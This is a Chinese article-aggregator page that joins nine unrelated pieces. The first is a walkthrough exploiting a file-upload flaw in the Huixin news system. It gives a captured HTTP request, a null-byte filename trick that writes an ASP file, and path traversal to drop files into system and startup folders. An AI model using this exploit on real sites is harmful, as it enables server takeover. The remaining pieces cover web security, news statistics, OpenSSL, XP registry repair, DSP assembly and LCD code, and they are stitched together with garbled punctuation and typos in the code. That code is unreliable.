欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

在惠信新闻系统中应用文件上传漏洞

时间:2022-08-03 07:43:09 其他范文 收藏本文 下载本文

下面是小编给各位读者分享的在惠信新闻系统中应用文件上传漏洞,欢迎大家分享。

在惠信新闻系统中应用文件上传漏洞

篇1:在惠信新闻系统中应用文件上传漏洞

近来大家为dvbbs的文件上传漏洞兴奋不已,想想在其他的系统里面能不能用的上呢?我就以惠信新闻系统来抛砖引玉吧!

系统环境:惠信新闻系统3.1,Windows+sp4,

先看这句代码:

admin_uploadfilesave.asp...............Server.mappath(formPath&file.FileName)............................

保存时用路径+文件名+后缀名,那我们可以用dvbbs上的漏洞了,只不过我们改的是文件名(因为系统有固定的路径,改路径的话,上传不会成功)

这是我捕获的数据:

POST /admin_uploadfilesave.asp HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Referer: 127.0.0.1/admin_uploadfile.aspAccept-Language: zh-cnContent-Type: multipart/form-data; boundary=---------------------------7d42cb1f101aeAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)Host: 127.0.0.1Content-Length: 658Connection: Keep-AliveCache-Control: no-cacheCookie: ASPSESSIONIDCSACQQRQ=GKCHPMAACAKICGCMGMMBCLAL-----------------------------7d42cb1f101aeContent-Disposition: form-data; name=“act”upload-----------------------------7d42cb1f101aeContent-Disposition: form-data; name=“upcount”1-----------------------------7d42cb1f101aeContent-Disposition: form-data; name=“filepath”newstxt/-----------------------------7d42cb1f101aeContent-Disposition: form-data; name=“file1”; filename=“G:www.asp .jpg”Content-Type: text/plain<% language=vbscript. %>-----------------------------7d42cb1f101aeContent-Disposition: form-data; name=“Submit”提交-----------------------------7d42cb1f101ae--

我将其中filename 处改为www.asp+(空格).jpg,同dvbbs利用一样改content_length的长度,然后用编辑器修改空格十六进制20为00,上传成功!

再看路径我们不能改,那能不能利用../../这样的方式回切呢?试试就知道了,

捕获数据同上,将

name=“filepath”newstxt/ 改为: newstxt/../../../winntcontent-length:658 改为:(658+14)672

好,开始上传,哈哈!在Winnt下发现www.asp文件。那我们就可以将路径改为Windows的自启动目录,上传exe、vbs、bat……文件。不过以上都要在获得新闻系统的管理者之后,进一步进入。

篇2:如何解决Web应用系统中的常见漏洞

在Web技术飞速演变、电子商务蓬勃发展的今天,企业开发的很多新应用程序都是Web应用程序,而且Web服务也被越来越频繁地用于集成Web应用程序或与其进行交互,这些趋势带来的问题就是:Web应用程序和服务的增长已超越了程序开发人员所接受的安全培训和安全意识的范围,web应用系统的安全风险达到了前所未有的高度。本文详细剖析了Web应用中的常见漏洞及攻击方式,全面分析web应用系统的安全风险。

Web应用系统是由操作系统和web应用程序组成的。许多程序员不知道如何开发安全的应用程序,他们没有经过安全编码的培训。他们的经验也许是开发独立应用程序或企业 Web应用程序,这些应用程序没有考虑到在安全缺陷被利用时可能会出现灾难性后果。

Web应用的大多数安全问题都属于下面三种类型之一 :

◆服务器向公众提供了不应该提供的服务,导致存在安全隐患。

◆服务器把本应私有的数据放到了公开访问的区域,导致敏感信息泄露。

◆服务器信赖了来自不可信赖数据源的数据,导致受到攻击。

许多web服务器管理员从来没有从另一个角度来看看他们的服务器,没有对服务器的安全风险进行检查,例如使用端口扫描程序进行系统风险分析等,

如果他们曾经这样做了,就不会在自己的系统上运行那么多的服务,而这些服务原本无需在正式提供Web服务的机器上运行,或者这些服务原本无需面向公众开放。另外他们没有修改对外提供服务的应用程序的banner信息,使攻击者容易获取到Web服务器对外提供应用程序的相关版本信息,并根据信息找到相对应的攻击方法和攻击程序。

许多Web应用程序容易受到通过服务器、应用程序和内部已开发的代码进行的攻击。这些攻击行动直接绕过了周边防火墙安全措施,因为端口80或 443(SSL,安全套接字协议层)必须开放,以便让应用程序正常运行。Web应用安全存在非法输入、失效的访问控制、失效的账户和线程管理、跨站脚本攻击、缓冲区溢出、注射攻击、异常错误处理、不安全的存储、拒绝服务攻击、不安全的配置管理等问题。Web应用程序攻击包括对应用程序本身的DoS(拒绝服务)攻击、改变网页内容、SQL注入、上传Webshell以及获取对web服务的控制权限等。

总之,Web应用攻击之所以与其他攻击不同,是因为它们很难被发现,而且可能来自任何在线用户,甚至是经过验证的用户。Web应用攻击能绕过防火墙和入侵检测产品的防护,企业用户无法发现存在的web安全问题。当然企业可以购买诚信网安团队的web应用渗透评估的服务来对web应用安全进行检查。诚信网安提供专业的web渗透评估安全服务,全面分析web应用的脆弱点,并提供相应的解决方案。

篇3:统计数据在新闻传播中的应用

摘 要 随着数字时代的发展,统计数据的运用越发的广泛。

专题新闻中也频频出现统计图表、图片等。

引入这些数据不但增加了新闻的可信度,更有助决策者从中获取重要的讯息,以便提出最佳的解决方案。

此外,统计学应用于专题新闻中,使得新闻调查也更为深入、透彻。

而统计图表、统计视频等多媒体的呈现方式也加强了专题新闻的可视性。

便于观众了解到关键讯息,增强新闻的感染力。

关键词 专题新闻;统计学;数据;今晚800;综合运用

过去,统计数据更多的是用在科技新闻和财经新闻这两块。

现在,这门学科也常运用于专题新闻中。

成都电视台的《今晚800》是一档以舆论监督为核心,以深度调查为手段,以电视评论为特点的栏目。

该栏目创办于1992年10月。

起初,栏目的风格是紧贴实事,评述成都人民身边的话题,现在的《今晚800》更多的是以调查监督节目为主,而在这些调查监督节目中,统计数据显得格外重要。

数据的真实、全面为调查结果提供了坚实有力的基础,一方面保障了节目质量,另一方面也使得新闻的表现方式变得多样化了。

1统计学在专题新闻中的综合运用

1.1统计学有效地对新闻进行保鲜

统计学中统计分析得出的数据是经过层层调查和排除的。

所得数据经过人工和软件双重核实。

可信度是比较高的,将这些数据引用到新闻中,能大大增加新闻的可信度。

保证新闻最基本的真实性。

在《今晚800》一期名为《成都,史上最严的非机动车查处在进行》的节目中,便引用了前后两年内拘留非机动车人员的数据及处理此类事件的相关数据。

这些数据是从交警部门和有关公安部门获取的内部统计资料,具有真实性。

,拘留人数为359人,处理非机动车相关案件为4868件,扣留的非机动车数量为143台。

而今年截至止9月,拘留人数达到722,处理相关案件8677起,扣留非机动车数量达到360多台。

节目中直接将数据列举成图表给观众讲解。

如下:

从图表中,可以明显得看出,20到9月,对于非机动车的查处比例加大了一倍。

这也不难看出,这确实是成都历史上最严的非机动车查处。

有了这些数据的支撑,新闻显得丰满了,记者也方便顺藤摸瓜,对非机车的危害进行深度调查。

1.2统计学的数据整合,利于发挥新闻的监测功能

统计学的介入,让专题新闻的表现形式多元化,由多媒体制作的统计图片,表格等具有直观、准确、全面、深入等特点。

这也便于以调查为归宿的专题新闻有了屏障。

通过对比,综合分析事件背后的原因,将真相呈现在大众眼前。

《今晚800》一期名为《暴雨之后成都菜价波动调查》的节目中,207月,特大暴雨袭击成都,造成蔬菜市场价格的巨大波动。

蔬菜一天一个价,就像坐过山车一般,时高时低。

在整个新闻调查中,数据成为了真相的`证据,也为之后政府的决策提供了依据。

大雨侵袭后,平日里普通的蔬菜也悄然涨价。

就拿莴苣来说,从过去的1块/斤涨到了现在5元/斤。

莴苣这类叶子菜普遍比大雨前涨了3倍以上。

数据描述了现象,就需要从现象中看到事件的本质。

记者通过调查周边地区的菜农得到了答案。

因为暴雨降临,成都、绵阳、雅安等地受灾严重。

截至7月15日9时统计,此次暴雨洪涝灾害已造成阿坝、德阳、成都、雅安、绵阳等15市(自治州)90个县(区、市)344.4万人受灾。

农作物受灾面积156.5千公顷,直接经济损失200.8亿元。

对于蔬菜基地的破坏尤为严重,一个生产基地破坏,源头大量减产,商户去收菜,收不到。

菜价出现波动,交易量出现下跌,远一点的菜受到交通影响,一车菜都出来不了,商户绕道5、6百公里,花三倍时间,运输成本大幅上升,蔬菜质量比原来下降的多,要么大量的菜同时进入市场、要么全部堵在路上,价格波动明显。

受灾规模大,商家运输困难造成了蔬菜价格大涨。

为了应付而四川盆地7月的这场特大暴雨,成都市农委和成都市商务局着情下药,该中心立即启动了市场调节机制。

外地蔬菜之前供应成都市场占到了40%多不到50%、是走向成都区域的,雨季期间供应成都市场的量占到了60%以上了,大部分货源走向了成都区域,弥补了成都区域货源不足。

新闻中的数据为政府宏观调控提供了便利,蔬菜价格的异常在宏观调控中得到合理的控制,通过政府对市场的干预和调节,这种突发性的涨价,很快就可以得到回落。

篇4:统计数据在新闻传播中的应用

2.1数据信息含量大,增强新闻的底蕴

在所提供的数据中,很多包含了新闻的背景信息,这些信息不仅延伸了新闻的深度。

更重要的是,信息含量大,意味着新闻的角度越宽。

对于记者来说,他能选取到更佳的报道角度来反映主题。

而对于观者来说,也能从不同的角度去解读同一件事情。

为什么现代的连续剧有这么多版本,但是每个版本表现的内容却不同。

这就是因为导演收集的资料和表现的方式不同。

在老三国中,导演着重以蜀国的视角来解读三国。

因此,开篇选用了桃园三结义来表现蜀汉的情义。

为了表现蜀汉忠于汉室,难免贬低曹操、孙权等。

可随着时代的变迁,人们不在拘泥于过往传统小说的解读模式,而是以新角度、包容的态度去接纳这类影视作品。

才有了《新三国》被称为《曹操传》的“事实”。

其实,这些都和已有的数据有关系。

过往人们的思维总认为,传统给予的信息是对的。

但事实并非如此,收集的数据资料越丰厚,可供选择的信息就越多,解读的角度也会不同。

专题新闻很多时候讲究多维度表现,从多方面反映新闻事件。

比如,采访“公交防狼法”时,除了要采访到当事人、交管部门、市民之外,律师、防狼教练、医生也是必须要采访到的,使节目更具立体感,调查也显得深入。

2.2统计数据全面,深度解析实事

专题新闻中的数据引用量大于普通新闻,数据的跨度比较大,为了说明一个现象时,会大量出现与现象相关的关联数据。

这些数据帮助专题新闻能从时间和空间多层面展现事件全貌,挖掘新闻真相。

比如,《今晚800》―25年成都驾考那些事节目中,就对自1987到年全面实行电子化驾考做了全面的数据分析。

先是说明改制后,考生的合格率,据成都市车管所提供的数据显示:成都全面实现电子化驾考第一天,参加考试的1500名考生中,有540人通过考试,合格率为36%。

到了第三天,共有3183人参加考试,考试合格为953人,合格率为30%。

相比于改制前,合格率明显下降了不少。

1988年时全市拥有驾照人数占总人数比例为0.006%;也就是说平均每10万人中,仅有6个人拥有驾照,拥有驾照人数占总人数比例为24%。

也就是说平均每100人中有24人持有驾照。

驾驶员人数机动车数量增长了29倍,驾驶人总数增长了59倍,成为中国汽车第三城;会开车也从一种工作技能,变成了一个人的生活基本能力。

成都驾考所走过的25年,无论是从考试场地、评判手段,还是从考试规模上都发生了巨大的变化,这也从一个侧面折射出成都社会经济的巨大变化。

3结论

统计数据能完美地融于新闻学中,它不但能让新闻展示出更为真实有效的信息,更能提高新闻的表现力。

记者在专题新闻中引用的数据并非空穴来风,而是经过深入调查得来的。

这些数据能帮助新闻从业者进行更深入地调查,也能便于他们理清新闻脉络。

更重要的是,这些宝贵的数据便于政府部门对症下药,快速有效地找出问题的症结,及时处理,解决老百姓生活中的疑难杂症。

参考文献

[1]李沛良.社会研究的统计应用.社会科学文献出版社.

[2]张洁,吴征.调查新闻调查.文化艺术出版社,,1.

篇5:在Linux系统中加密文件的方法

这篇文章主要介绍了在Linux系统中加密文件的方法,包括用OpenSSL加密字符串和文件的介绍,需要的朋友可以参考下

1. oppnssl md5 加密字符串的方法

a.手动输入命令及过程如下:

代码如下:

#openssl //在终端中输入openssl后回车,

OpenSSL> md5 //输入md5后回车

123456//接着输入123456,不要输入回车。然后按3次ctrl+d。

123456e10adc3949ba59abbe56e057f20f883e //123456后面的就是密文了

解释:为何在输入123456后不回车呢?

是因为openssl默认会把回车符当做要加密的字符串中的一个字符,所以得到的结果不同。如果你输入123456后回车,在按2次ctrl+d,

得到的结果是:

代码如下:

OpenSSL> md5

123456

f447b20a7fcbf53a5d5be013ea0b15af //因为openssl不忽略回车符导致的

b.或者直接用管道命令

代码如下:

# echo -n 123456 | openssl md5 //必须要有-n参数,否则就不是这个结果了。

e10adc3949ba59abbe56e057f20f883e

解释:为何要加-n这个参数?

-n就表示不输入回车符,这样才能得到正确的结果。如果你不加-n,那么结果和前面说的一样为:

代码如下:

f447b20a7fcbf53a5d5be013ea0b15af //因为openssl不忽略回车符导致的

2.用openssl加密文件。

代码如下:

#openssl md 5 -in 1.txt

篇6:在XP中如何恢复损坏的系统文件

如果Windows XP的系统文件被病毒或其它原因**了,我们可以从Windows XP的安装盘中恢复那些被**的文件,

具体方法:

在Windows XP的安装盘中搜索被**的文件,需要注意的是,文件名的最后一个字符用底线“_”代替,例如:如果要搜索“Notepad.exe”则需要用“Notepad.ex_”来进行搜索。

搜索需要的文件

搜索到了之后,打开命令行模式(在“运行”中输入“cmd”),然后输入:“EXPAND 源文件的完整路径 目标文件的完整路径”。例如: EXPAND D:SETUPNOTEPAD.EX_ C:WindowsNOTEPAD.EXE。有一点需要注意的是,如果路径中有空格的话,那么需要把路径用双引号(英文引号)包括起来。

找到当然是最好的,但有时我们在Windows XP盘中搜索的时候找不到我们需要的文件。产生这种情况的一个原因是要找的文件是在“CAB”文件中。由于Windows XP把“CAB”当作一个文件夹,所以对于Windows XP系统来说,只需要把“CAB”文件右拖然后复制到相应目录即可。

如果使用的是其他Windows平台,搜索到包含目标文件名的“CAB”文件。然后打开命令行模式,输入:“EXTRACT /L 目标位置 CAB文件的完整路径”,例如: EXTRACT /L C:Windows D:I386Driver.cab Notepad.exe。同前面一样,如同路径中有空格的话,则需要用双引号把路径包括起来。

Windows XP注册表故障修复:

电脑出现故障的原因很多,其中有不少是由注册表产生的。一般出现以下症状则可以初步断定为注册表出了问题:

(1)运行程序时弹出“找不到*.dll”信息;

(2)Windows应用程序出现“找不到服务器上的嵌入对象”或“找不到OLE控件”错误提示;

(3)单击某个文档时,Windows XP给出“找不到应用程序打开这种类型的文档”信息;

(4)Windows资源管理器中存在没有图标的文件夹、文件或奇怪的图标;

(5)菜单、控制面板中的一些项目丢失或处于不可激活状态;

(6)网络连接无法建立;

(7)工作正常的硬件设备变得不起作用;

(8)Windows XP根本无法启动,或仅能从安全模式启动;

(9)Windows XP系统显示“注册表损坏”等信息。

此时可采取以下方法修复注册表:

A.在Windows XP下用备份文件还原

如果Windows XP还能启动,只是出现出错提示信息并且有些系统程序不能用,单击“开始”→“所有程序”→“附件”→“系统工具”→“备份”菜单项,调出“备份工具”对话框,然后点击“备份工具”对话框中的“还原与管理媒体”标签,将注册表还原到损坏前的状态。此方法有个前提条件,就是你必须有注册表损坏前的备份文件。

B.用Windows XP的“系统还原”功能还原

和上一方法一样,必须能启动进入Windows XP系统。单击“开始”→“所有程序”→“附件”→“系统工具”→“系统还原”菜单项,调出“系统还原”对话框,选择“恢复我的计算机到一个较早的时间”项,单击“下一步”,选择一个较早的还原点,然后单击“下一步”确认。Windows XP便会重新启动系统,将系统设置还原到指定的时间,并给出恢复完成的提示。如果你的Windows XP的系统还原功能被关闭,可单击“开始”→“控制面板”→“系统”项,并点击“系统还原”标签,去掉“在所有驱动器上关闭系统还原”复选框前面的“√”。

C.使用上次正常启动的注册表配置

如Windows XP无法正常启动,可使用上次正常启动的注册表配置。当电脑通过内存、硬盘自检后,按F8键,进入启动菜单,选择“最后一次正确的配置”项,这样Windows XP就可以正常启动,同时将当前注册表恢复为上次的注册表。这里需要注意的是选择“最后一次正确的配置”,并不能解决由于驱动程序或文件被损坏、丢失所导致的问题。同时,选择“最后一次正确的配置”,Windows XP只还原注册表项HKEY_LOCAL_MACHINESystemCurrentControlSet中的信息。任何在其他注册表项中所作的更改均保持不变。

D.使用安全模式恢复注册表

如果使用“最后一次正确的配置”项无效,则可以在启动菜单中选择“安全模式”,这样Windows XP可自动修复注册表中的错误,从而使启动能够正常引导下去,

引导进入系统后再执行方法1或方法2。

E.使用故障恢复控制台修复损坏后的Windows XP注册表

如果连安全模式都进不去,那么我们就不得不利用Windows XP的恢复控制台来修复系统了。

将Windows XP安装光盘放入光驱中,然后在BIOS中将光驱设为第一启动驱动器。启动电脑进入“欢迎使用安装程序”界面,按“R”键进入Windows XP的“故障恢复控制台”页面,系统会将电脑中的Windows XP系统都列出来,选择需要修复的系统,并键入管理员密码。为了尽可能修复注册表到损坏前的设置和状态,可按以下4步进行操作。

进入故障恢复控制台,新建一个临时文件夹,备份当前的注册表文件到临时文件夹中以备不时之需,然后将当前注册表文件删除,接着将“%SystemRoot%Repair”目录下文件拷贝到“%SystemRoot%SystemConfig”目录下,最后重新启动系统便可进入Windows XP系统。不过恢复此项操作的是Windows XP刚安装完后的注册表,因此,安装完后所做的任何改变和设置都将丢失。具体操作如下(这里假设Windows XP安装在E:Windows下,具体操作应根据情况改变此文件夹):

(1)进入故障恢复控制台

(2)键入以下命令,每键入1行便按回车键1次:

md tmp

copy e:windowssystem32configsam e:windowstmpsam.bak

delete e:windowssystem32configsam

copy e:windowsrepairsam e:windowssystem32configsam

接着将后3行中的“sam”字符分别替换为“software”、“system”、“security”和“default”,分别键入(即除上述4行命令,还另有12行命令)。这里需要注意的是,熟悉DOS命令的朋友可以将delete语句去除,在进行copy时选择“Yes”;此外这里的copy命令不支持通配符“*”和“?”,一次只能复制一个文件。如果你有另外一台电脑可用,为节省时间也可用记事本新建一个文本文件,并将全部命令拷入,例如将其取名为r1.txt,把它拷贝到Windows目录下,并在故障恢复控制台的Windows目录下运行“batch r1.txt”命令。

(3)键入“exit”退出故障恢复控制台,电脑将自动重新启动,直接以正常模式进入Windows XP系统。

这一步需要从System Volume Information文件夹中拷贝注册表文件,以恢复系统设置,不过此文件夹在故障恢复控制台下不能用,在正常情况下的Windows XP系统中也不可见,因此首先应改变几项设置使得文件夹可见。

(1)重新启动系统,从“安全模式”以管理员组成员(Adiministrators)的身份进入Windows XP系统。

(2)进入资源管理器窗口,点击“工具”→“文件夹选项”,然后点选“查看”标签,在“高级设置”框中的“隐藏文件和文件夹”下点选“显示所有文件和文件夹”项,再清除“隐藏受保护的操作系统文件”前的“√”,最后单击“确定”。

(3)进入Windows XP系统所在驱动器,进入System Volume Information_restore{E3586CBC-4366-49A4-8B15-8C7E491AB54F}RPnsnapshot目录(RPn中的“n”为数字,若有多个,选择最大的那个),将该目录中的_REGISTRY_USER_.DEFAULT、_REGISTRY_MACHINE_SECURITY、_REGISTRY_MACHINE_SOFTWARE、_REGISTRY_MACHINE_SYSTEM、_REGISTRY_MACHINE_SAM共5个文件拷贝到Windowstmp文件夹中,分别将其重命名为default、security、software、system、sam。

在这一步中又要进入故障恢复台,将当前注册表文件删除,然后把刚才拷贝到Windowstmp中的5个文件,复制到Windowssystem32config文件夹下替代当前注册表文件。具体操作请先进入故障恢复控制台,然后在命令行下输入如下命令:

del e:windowssystem32configsam

copy e:windowstmpsam e:windowssystem32configsam

同理将“sam”字符分别替换为“software”、“system”、“security”和“default”,分别键入(共10行命令)。

同样的道理也可以用batch命令进行上述操作,另外如果Windows XP不安装在E盘,请根据实际情况更改。

以正常模式进入Windows XP系统,运行“系统还原”工具,将系统还原到所需的还原点。具体操作可以参照前面的方法。

篇7:在Windows Vista系统中预览PDF文件

之前我们曾介绍过Windows Vista的预览功能,即在用户不打开相应文件的情况下查看文件的具体内容,这是个相当有用的功能,可以大大提高日常工作的效率,Windows Vista预览功能可支持的对象包括图片、音频、视频、字体、文本、E-mail乃至Office文档如Word、Excel、PowerPoint文件。

不过,对于PDF(Portable Document Format)文件,则没有这么幸运了,即使在Windows Vista中安装了可以创建PDF的Office 后,仍然不能实现PDF文件的预览。要查看相应PDF文件的内容,用户不得不安装、运行Adobe Acrobat Reader,

近日,Tim Heuer发布了一款名为PDF Preview handler的小工具,可以让没有安装Adobe Acrobat Reader的用户在资源管理器或Outlook 2007中预览PDF文件。

该工具不需要其他的设置,下载后安装完成即可使用。这样,当您在资源管理器选中相应PDF文件时,其内容即会在预览窗格中显示出来。

另外需要指出的是,该工具对中文PDF文件的支持不存在任何问题。下图即Windows Vista使用教程第三章PDF文件的预览,可以看到该PDF文档的内容包括其中的图片、汉字均能够正确显示。

篇8:TMS320C54x在扩频通信系统中的应用

TMS320C54x在扩频通信系统中的应用

摘要:采用TMS320C54x芯片实现扩频通信系统中的核心进程――扩频编码与调制。该方案具有参数修改方便、简单易行,可根据实际信道要求迅速调整扩频增益和调制频率的优点。

关键词:DSP 扩频通信 卷积码 m序列

引言

TMS320C54x(简称'C54x)是TI公司于推出的一种定点数字信号处理器。它采用先进的改进型哈佛结构,片内有8条总线、CPU、在片存储器和在片外围电路等硬件。它具高度专业化的指令系统,能够迅速地完成累加、乘积等运算功能。它具有功耗小、高度并行等优点,已被广泛应用于通信等众多领域。

本方案与常规的扩频实现方式相比,常规的扩频实现方式是用硬件来构造扩频通信系统,具有结构不灵活,调试不方便等不足之处。本方案充分发挥'C54x的强大功能,把直接序列(direct sequence)扩频通信中的m序列扩频和卷积编码等核心进程用软件予以实现;把扩频通信的核心算法用一片TMS320C54x芯片集成。它能够根据实际运用场合和传输信道的特征灵活更改参数,能最大限度地利用和发挥DSP芯片的优势,满足了高速数字通信系统中实时处理的要求,不但大大简化了系统设计,而且缩短了设计周期。

(本网网收集整理)

一、扩频通信

扩展频谱通信(spread spectrum communication),简称“扩频通信",是一种信息传输方式。其特点为:传输信号带宽远远大于发送出去的数字信息带宽。利用扩频技术,系统频率利用率比频分系统要高。

扩频技术是以仙农(shannon)公式作为理论基础而发展的。

仙农公式:C=W log2(1+P/N)

根据该公式可导出:在保持信息传输速度C不变的情况下,可以用不同频带宽度W和信噪功率比P/N来传输信息;如果增加频带宽度W,就可以在较低的信噪比P/N的情况下来传输信息,甚至在信号被噪声湮没的情况下,只要相应地增加信号带宽,也能保证可靠地通信。

按照扩展频谱的方式不同,现有的扩频通信基本方式分为:直序列(direct sequence)扩频、跳频(frequency hopping)、跳时(time hopping)、线性调频(chirp)以及上述几种方式的组合。

扩频通信的一般原理如图1所示。

在发端输入的信息先经信息调制形成数字信号,然后由扩频码发生器产生的'扩频码序列去调制数字信号以展宽信号的频谱。展宽后的信号调制到射频发射出去。接收端则采用与发射端同步的代码进行相关检波,把被展宽有用频谱收集起来,所形成的信息码送给后端进行解码。

二、扩频信号的产生

结合考虑系统带宽、通信速率和研究的通用性以及实现的复杂性等因素,本方案确定采用直接序列扩频方法。该方法的原理框图如图2所示。

数据经过卷积码编码后,与伪随机序列发生器产生的扩频码序列进行模2加,产生的码序列通过调制器转换产生比数字信息的频谱宽得多的调制信号。系统中最重要的两个流程是编码器和伪随机序列发生器。本文采用TMS320C54x来实现这两个核心流程。

1.编码器

卷积码被广泛用于无线通信中的差错控制编码中,它的解码端可采用成熟的Viterbi解码算法。'54x芯片能够快速地执行算法所需的加一比一选操作(ACS指令)。实践证明采用卷积编码是一个良好的方法。

本方案中采用(2,1,5)的编码方案,相应的编码多项式为:

G1(D)=1+D3+D4 G2(D)=1+D+D3+D4

用TMS320C54x实现的程序片段如下:

start:STM #a0,AR1

RPT #4

MVPD table,*AR1+

STM #yn1_coef,AR1

RPT #4

MVPD table+5,*AR1+

STM #yn2_coef,AR1

RPT #4

MVPD table+10,*AR1

STM #a0,AR3

STM #yn1_coef,AR4

STM #yn2_coef,AR5

STM #5,BK

STM #1,AR0

LD #x,DP

PORTR PA1,*AR3 ;读入数字信息

CON:PRTZ A,#4

MAC *AR3+0%,*AR4+0%,A;

AND #1h,A

STH A,@yn1

PORTW @yn1,PA0 ;输出编码信息

RPTZ A,#4

MAC *AR3+0%,*AR5+0%,A

AND #1h,A

STH A,@yn2

PORTW @yn2,PA0 ;输出编码信息

BD CON

PORTR PA1,*AR3+0%

2.伪随机噪声序列产生器

最长线性反馈移位寄存器序列简称m序列,是一种最常用的伪随机序列。其序列长度为L=2n-1位,具有良好自相关性。一般由带有线性反馈的m阶线性移位寄存器产生。本研究利用DSP芯片特有的移位指令,代替原有的复杂电路,具有方便、简洁的优点。

这里实现的m序列发生器的本原多项式为x14+x10+x6+x+1,序列周期可达到32767位。

用TMS320C54x实现的程序片段如下:

strat:SSBX FRCT

STM #xn,AR1

ST #1,*AR1

RPT #12

ST #0,*AR1+

STM #a0,AR2

RPT #13

MVPD table,*AR2+

STM #14,BK

STM #xn,AR3

STM #a0,AR4

STM #1,AR0

LOOP:PORTW *AR3,PA0 ;输出PN码值

PRTZ A,#13

MAC *AR3+0%,*AR4+0%,A

AND #1,A

STL A,*AR3+0%

B LOOP

总结

该项目的优点在于它充分利用了TMS320C54x芯片优越的并行处理功能,在一片芯片上实现了卷积编码、频谱展宽以及多进制调制的整个过程。由于它采用软件实现,可以利用现有的成熟算法,如解码端采用维特比算法 ,因而最大限度地发挥了软件实现的优势。该方法被应用于水声信道的数据传输上。仿真实验证明是行之有效的。它可根据信道特征灵活修改参数、改变扩频增益、满足实际需求,缩短了整个开发周期。

篇9:液晶显示在嵌入式系统中的应用

液晶显示在嵌入式系统中的应用

摘要:介绍了液晶显示在嵌入系统中的应用编程,给出了在液晶显示与系统接口的应用层编程中,采用环形结构算法来达到快速、简单地进行汉字代码的编码以及汉字的分页和分行显示的显示应用程序。

关键词:嵌入式系统;液晶显示;环形结构算法;汉字显示

1 引言

在嵌入系统中,一个良好的人机界面必须提供友善的菜单,同时应能实现汉字和图形显示,并应提供英文、数字输入和汉字输入功能。笔者采用香港精电公司的128×64点阵显示模块在以MPC860作为主CPU并以Nuclus PLUS为嵌入式操作系统的系统中进行液晶显示?取得了较为满意的效果。图1所示为其结构框图。

香港精电公司的128×64点阵模块内部自带液晶图形显示控制芯片T6963,其中C/D脚用于控制字与数据,RD和WR分别为读、写使能端。当WR为低时,C/D为高为写命令,C/D为低为写数据;而当RD为低时,C/D为高为读状态?C/D为低为读数据。另外,CE为器件使能引脚,D0~D7为数据和地址复用总线引脚。

(本网网收集整理)

2 应用编程

利用MPC860嵌入式系统的快速性,可将显示应用程序分为两层,其中底层为硬件接口层,上层为应用层。硬件接口层主要是显示液晶模块自带的ASCII函数和显示汉字代码函数。由于硬件各不相同,在此不作具体介绍。而上层应用层的主要功能是提供友善的菜单,同时实现汉字和图形显示,并提供英文、数字输入和汉字输入功能。由于硬件接口层的隔离作用,不同的系统具有一定的通用性,以下重点介绍应用层编程中的汉字代码编码方法和显示编程的实现这两部分。

2.1 汉字代码编码

一般西文为8×8点阵,因而显示一个西文字需要8个字节?而每个汉字占4个西文字体,因此显示一个汉字需要32个字节。汉字字库表为一张数据表? 每个汉字在数据表中,通常由32个字节组成一个点阵图形。由于ASCII码编码是由0X00-0X7F表示,因此?每个汉字可由两个字节0Xxx和0Xyy来表示,每个字节为0X80~0XFF(区别于ASCII代码)。第一汉字定义为0X80 0X80,依此类推直至0X80 0XFF ,0X81 0X80,……,……,0XFF 0XFF ,总计可以定义128×128=16384个汉字。

一个汉字代码表可简单表示为:

hz code table?INT?=?

//汉字“数”的`32字节的点阵图形代码为?

0x08?0x49?0x2A?0x08?0xFF?0x19?0x2C?0x4A?

0x10?0xFE?0x22?0x22?0x14?0x18?0x25?0x42?

0x40?0x40?0x40?0x84?0xFE?0x08?0x88?0x88?

0x88?0x90?0x50?0x20?0x50?0x88?0x0E?0x04?

//汉字“据”的32字节的点阵图形代码为?

0x10?0x13?0x12?0x12?0xFF?0x12?0x16?0x1B?

0x32?0xD2?0x13?0x15?0x15?0x15?0x59?0x21?

0x04?0xFE?0x04?0x04?0xFC?0x20?0x24?0xFE?

0x20?0x24?0xFE?0x04?0x04?0x04?0xFC?0x04,

}

2.2 显示编程

在系统显示中,主要的显示方式有页处理和行处理两种。系统可以根据按键来显示某一页。实际上,页也是由相应行来显示的。页中的行可由按键来改变。一个页能显示8行ASCII码或4行汉字代码,带有汉字的行一般要占有2个只有ASCII码的行,而页可以由任意多行组成。显示时,通过按键可控制能显示行,并可在行中输入汉字或ASCII码。

在设计中,所有的页可组成一个环形队列结构,页中的行也可组成一个环形队列结构,其关系如图2所示。图3所示是该系统的显示流程。

下面给出一个行结构:

typedef struct lcdLine

{

struct lcdLine *previous? //前一行

struct lcdLine *next? //后一行

unsigned short lineId? //行特征字

unsigned char showflag? //是否显示汉字

unsigned char start? //显示行号 ,汉字一

定是奇数行如 1,3,5,7

unsigned char lcdseg?16??

//显示的代码如是ASCII码,0X10显示0,

0X3C显示\ ?汉字为0X80 0X81 显示汉字“据”

void ?*flcdLine??struct lcdLine * plcdLine??

//处理行函数

};

由于页是由行组成的,所以页结构的定义如下:

typedef struct lcdPage

{

struct lcdLine *firstLine? //该页中的第一行

struct lcdPage *previous? //前一页

struct lcdPage *next? //后一页

unsigned short pageId? //页特征字

} lcdPage?

下面给出的是一个环行队列函数的程序代码:

VOID CSC Place On List?CS NODE **head? CS NODE *new node?

{

/* Determine if the list in non-empty. */

if ?*head?

{

/* The list is not empty. Add the new

node to the end of the list. */

new node->cs previous=?*head?

->cs previous?

(new node ->cs previous)->cs

next=new node?

new node-> cs next =?*head??

(new node->cs next)->cs previous

=new node;

}?

else

{

/* The list is empty? setup the head and

the new node. */

?*head? = new node?

new node -> cs previous = new node?

new node -> cs next = new node?

}

}

在建立了上述结构后,便可以得出行队列和页队列的组成方法:

lcdLine lcdLine?30??

lcdPage lcdPage?10?; //初始化列

lcdLine?0?..lcdseg?0?=0x80?

lcdLine?0?..lcdseg?1?=0x80?

lcdLine?0?..lcdseg?2?=0x80?

lcdLine?0?..lcdseg?3?=0xBC?

lcdLine?0?..lcdseg?4?=0x80?

lcdLine?0?..lcdseg?5?=0x97?

lcdLine?0?..lcdseg?6?=0x80?

lcdLine?0?..lcdseg?7?=0x98?

lcdLine?0?..lcdseg?8?=0x80?

lcdLine?0?..lcdseg?9?=0x99?

lcdLine?0?..lcdseg?10?=0x00?

lcdLine?0?..lcdseg?11?=0x00?

lcdLine?0?..lcdseg?12?=0x00?

lcdLine?0?..lcdseg?13?=0x00?

lcdLine?0?..lcdseg?14?=0x00?

lcdLine?0?..lcdseg?15?=0x00?

lcdLine?0?..start =1? //第二行起

